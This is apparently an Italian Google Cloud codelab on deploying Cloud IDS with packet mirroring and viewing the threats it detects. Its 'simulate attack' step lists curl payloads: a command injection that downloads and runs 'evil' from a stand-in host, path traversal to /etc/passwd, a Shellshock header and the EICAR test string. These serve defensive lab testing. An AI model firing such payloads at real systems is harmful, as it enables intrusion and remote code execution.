1. Introduzione
In questo lab eseguirai il deployment di Cloud IDS, un servizio di rilevamento delle intrusioni avanzato di nuova generazione che fornisce il rilevamento delle minacce per intrusioni, malware, spyware e attacchi command-and-control. Simulerai più attacchi e visualizzerai i dettagli della minaccia nella console Cloud.
Cosa imparerai a fare
- Creare un endpoint Cloud IDS
- Creare due macchine virtuali con i comandi gcloud
- Come creare un criterio di mirroring pacchetto
- Come simulare il traffico di un attacco da una macchina virtuale
- Come visualizzare i dettagli delle minacce in Cloud Console e Cloud Logging
Che cosa ti serve
- Conoscenza dei comandi di base di Linux
2. Casi d'uso di Cloud IDS
Cloud IDS fornisce un servizio nativo di rilevamento delle intrusioni (IDS) di nuova generazione di Google Cloud che consente ai clienti di soddisfare i requisiti di rilevamento avanzato delle minacce e di conformità come PCI 11.4. Il servizio si basa sulle tecnologie di protezione dalle minacce di Palo Alto Networks per fornire un rilevamento avanzato delle intrusioni. Combinando l'infrastruttura di livello mondiale di Google Cloud con la sicurezza di altissimo livello di Palo Alto Networks, offre ai clienti una combinazione impareggiabile di un servizio di rilevamento delle minacce avanzato completamente gestito, ad alte prestazioni e con la massima efficacia in materia di sicurezza.
Man mano che i clienti eseguono la migrazione al cloud, la sicurezza è una priorità assoluta per loro. Vogliono disporre degli simili controlli di sicurezza on-prem, come il servizio di rilevamento delle intrusioni (IDS) nel cloud. Preferisce utilizzare una soluzione IDS gestita e cloud-native per facilità di deployment, prestazioni elevate e costi ottimizzati rispetto al deployment di una soluzione di sicurezza di terze parti e alla gestione dell’infrastruttura o all’utilizzo delle proprie firme. Google Cloud IDS fornisce un servizio IDS gestito end-to-end e con scalabilità automatica che consente ai clienti di dedicare il loro tempo ad analizzare e mitigare le minacce, liberando tempo e risorse per la gestione dell'infrastruttura o delle firme delle minacce.
Cloud IDS viene distribuito fuori banda e può rilevare e inviare avvisi sulle minacce, ma non può bloccarle. Sfrutta il mirroring dei pacchetti Google Cloud per creare una copia del traffico di rete che viene analizzato utilizzando il motore di rilevamento delle minacce di Palo Alto Network.
3. Topologia codelab
Figura 1. Panoramica generale dell'architettura del deployment di Cloud IDS per questo lab.
4. Configurazione e requisiti
Configurazione dell'ambiente da seguire in modo autonomo
- Accedi alla console Google Cloud e crea un nuovo progetto o riutilizzane uno esistente. Se non hai ancora un account Gmail o Google Workspace, devi crearne uno.
- Il Nome progetto è il nome visualizzato dei partecipanti del progetto. Si tratta di una stringa di caratteri non utilizzata dalle API di Google e può essere aggiornata in qualsiasi momento.
- L'ID progetto deve essere univoco in tutti i progetti Google Cloud ed è immutabile (non può essere modificato dopo essere stato impostato). La console Cloud genera automaticamente una stringa univoca. di solito non ti importa cosa sia. Nella maggior parte dei codelab, devi fare riferimento all'ID progetto (che solitamente è identificato come
PROJECT_ID
), quindi, se non ti piace, generane un altro a caso oppure puoi fare un tentativo personalizzato e controllare se è disponibile. Poi c'è "congelato" dopo la creazione del progetto. - C'è un terzo valore, il numero di progetto, utilizzato da alcune API. Scopri di più su tutti e tre questi valori nella documentazione.
- Successivamente, dovrai abilitare la fatturazione nella console Cloud per utilizzare le risorse/le API Cloud. Eseguire questo codelab non dovrebbe costare molto. Per arrestare le risorse in modo da non incorrere in fatturazione oltre questo tutorial, segui eventuali "pulizie" istruzioni riportate alla fine del codelab. I nuovi utenti di Google Cloud sono idonei al programma prova senza costi di 300$.
Avvia Cloud Shell
Anche se Google Cloud può essere utilizzato da remoto dal tuo laptop, in questo codelab utilizzerai Google Cloud Shell, un ambiente a riga di comando in esecuzione nel cloud.
Dalla console di Google Cloud, fai clic sull'icona di Cloud Shell nella barra degli strumenti in alto a destra:
Dovrebbe richiedere solo qualche istante per eseguire il provisioning e connettersi all'ambiente. Al termine, dovresti vedere una schermata simile al seguente:
Questa macchina virtuale viene caricata con tutti gli strumenti di sviluppo necessari. Offre una home directory permanente da 5 GB e viene eseguita su Google Cloud, migliorando notevolmente le prestazioni di rete e l'autenticazione. Tutto il lavoro in questo lab può essere svolto semplicemente con un browser.
5. Prima di iniziare
Abilita API
All'interno di Cloud Shell, assicurati che l'ID progetto sia configurato
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Abilita tutti i servizi necessari
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Crea rete VPC
Rete VPC
Da Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnet
Da Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Accesso privato ai servizi
Da Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Connessione privata ai servizi
Da Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Regole firewall
Per consentire a IAP di connettersi alle tue istanze VM, crea una regola firewall che:
- Si applica a tutte le istanze VM a cui vuoi essere accessibile tramite IAP.
- Consente il traffico in entrata dall'intervallo IP 35.235.240.0/20. Questo intervallo contiene tutti gli indirizzi IP utilizzati da IAP per l'inoltro TCP.
Da Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Per autorizzare la porta HTTP standard (TCP 80) e il protocollo ICMP al server:
- Si applica alle risorse con tag di rete "server"
- Consente il traffico in entrata da tutte le origini
Da Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Crea un'istanza Cloud NAT
Cloud Router
Da Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Da Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Crea endpoint Cloud IDS
In questa sezione creerai un endpoint Cloud IDS in us-east1, con una gravità impostata su informativa. La creazione dell'endpoint IDS richiede circa 20 minuti.
Endpoint IDS
Da Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Verifica che l'endpoint Cloud IDS venga avviato
gcloud ids endpoints list --project=$PROJECT_ID
Output -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Crea due macchine virtuali
In questa sezione creerai due macchine virtuali. Il primo sarà il tuo server web che esegue il mirroring su Cloud IDS. La seconda macchina virtuale sarà la sorgente di traffico dell'attacco.
Macchina virtuale 1 (server)
Da Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Macchina virtuale 2 (client)
Da Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Preparazione del server in corso...
In questa attività convaliderai il server e fornirai un payload per malware benigno per il tuo client.
SSH nella VM tramite Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Verifica che il servizio web sia in esecuzione
sudo systemctl status nginx
Output - verifica attivo e in esecuzione
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Cambia directory in servizio web
cd /var/www/html/
Creare un file di malware benigno sul server web.
sudo touch eicar.file
Incolla i contenuti
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Torna a Cloud Shell
exit
Crea un criterio di mirroring pacchetto Cloud IDS
Identificare la regola di forwarding dell'endpoint IDS e verificare che lo stato dell'endpoint IDS sia "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Output di esempio: copia il valore da "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Salva la regola di forwarding dell'endpoint IDS in una variabile.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Norme sul mirroring del pacchetto
Da Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Verifica che il criterio di Mirroring pacchetto sia creato
Da Cloud Shell
gcloud compute packet-mirrorings list
Output
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simula il traffico di un attacco
Accedi tramite SSH alla macchina virtuale dell'utente malintenzionato (client)
Da Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Esegui le seguenti richieste curl per simulare il traffico dannoso.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Esci dalla VM per tornare a Cloud Shell
exit
11. Esamina le minacce rilevate da Cloud IDS
Vai alla dashboard di Cloud IDS
Menu di navigazione > Sicurezza della rete > Cloud IDS
Vai alla scheda Minacce.
Come si può vedere, Cloud IDS ha acquisito vari profili del traffico di attacco e fornito i dettagli di ciascuna minaccia. Potrebbe essere necessario fare clic sul pulsante "Aggiorna" se non vedi minacce. Approfondiremo ulteriormente i dettagli della minaccia.
Individua la "Vulnerabilità esecuzione di codice remoto Bash" minaccia e fai clic sui tre puntini a destra e seleziona "Visualizza dettagli minaccia"
Ora esamineremo i dettagli di questo incidente in Cloud Logging. Torna alla pagina Minacce facendo clic sulla freccia rivolta verso sinistra .
Fai clic sui tre puntini a destra e seleziona "Visualizza log delle minacce"
Gli stessi dettagli vengono forniti a Cloud Logging. In questo modo puoi inviare i log a Cloud Storage, Chronicle o qualsiasi SIEM/SOAR. Puoi anche creare flussi di lavoro personalizzati per intraprendere azioni correttive in base ad avvisi, ad esempio creando una funzione Cloud Functions che si attiva in caso di avviso e crea/aggiorna una regola firewall per bloccare l'indirizzo IP oppure crea/aggiorna un criterio Cloud Armor.
12. Passaggi per la pulizia
Esci dall'istanza VM (tutte le schede)
exit
Elimina i componenti del lab da un singolo terminale Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Complimenti!
Complimenti per aver completato il codelab.
Argomenti trattati
- Casi d'uso di Cloud IDS
- Requisiti di rete
- API supportate
- Endpoint Cloud IDS creato
- Deployment di 2 VM
- Ha generato un "attacco" traffico proveniente dal client
- Le minacce verificate sono state rilevate dagli IDS
- Esamina i dettagli e i log della minaccia